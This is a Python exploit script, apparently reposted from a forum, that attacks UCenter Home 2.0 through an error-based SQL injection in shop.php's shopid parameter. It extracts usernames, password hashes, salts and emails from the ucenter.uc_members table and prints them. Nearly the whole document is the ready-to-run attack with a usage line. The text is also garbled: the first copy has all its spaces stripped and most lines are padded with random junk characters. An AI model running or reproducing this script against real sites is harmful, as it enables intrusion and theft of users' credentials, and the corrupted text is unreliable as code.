#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl2 V: _' Y: j/ {: H H1 M
2 C/ z0 u/ l6 i4 e9 M# \
6 Y+ S& |; r1 K$ N$ t' Z0 S#!/usr/bin/env python 4 X* _. n$ L0 q d# }
2 V" M' s$ o- P
import sys ! b' B: {* [0 r
import urllib2 / z. F( ^/ r2 |1 p5 g
import re
: Z9 G0 r2 G8 j/ _( [: W8 y) @# m 4 I6 P3 }2 e$ q) i
def info(): , j. R& K! S3 W7 v, B$ }0 [
print 'From:http://www.exploit-db.com/exploits/14997/'
0 ?% t6 F7 d x8 c' {6 [ print 'http://www.hake.cc/Web_loudong/' & A0 C k( i* ?5 O( b
print 'changed:qiaoy' & Z% G% \# g% b7 m8 ~1 C8 @( m
print 'exp:'
9 F2 N( q7 ~5 V8 M" n3 ` print ' ./UCenter_Home_2.0.py site' : q; I$ Z8 e+ c) l8 T& ~0 m+ @
& h$ }3 |2 d! g" t, N' vdef main():
1 b! i7 g4 w U$ x9 k if len(sys.argv) != 2:
8 o: e8 J2 I; v3 |! k$ e info() 9 L3 |; \4 W! ]9 H
else:
) X9 K* b$ b% [% ` site = sys.argv[1] \* D" e: {1 s L/ @* @+ |
if site[0:7] == 'http://':
6 i/ h$ C$ J0 a sitesite =site
3 x- f' I# U1 ]5 u3 T4 X( K elif site[0:8] == 'https://': 8 @9 \2 F5 t/ `+ T l6 E8 O. q
sitesite = site
9 B* V7 p5 Q& J0 v8 s- c else:
! k% X u' X/ G: v site = 'http://'+site # B7 r# }4 Y; x4 |, ~9 O
try: # J3 Q' u1 d' ]; r
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 6 e, E, [+ [) N
Value = urllib2.urlopen(url).read() # M- R9 s( i8 \# D) i2 [7 D6 l
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] # T; i7 H& I6 Y( P' Q4 Y
hacked = Msg.split(':') 7 `% Z" _" P" l0 w2 A# B0 x
print 'Name: '+hacked[1]
& F4 p9 H4 Z& z print 'Passwd: '+hacked[2] & C) |. W5 ]7 d
print 'salt: '+hacked[3]
4 D% y4 U! d4 k; L( a# j/ {( T) _ print 'email: '+hacked[4] ( z; [) s( A) |* l
except:
" T. @0 m3 x; M6 E6 h% N' b print 'Sorry,I can\'t work............' 0 @2 I: r& x# r1 }& `# f: O" L
* T/ @0 u4 n2 z7 C
if __name__ == '__main__': 4 ^, P- O0 L3 O, [; k0 b6 }
main() |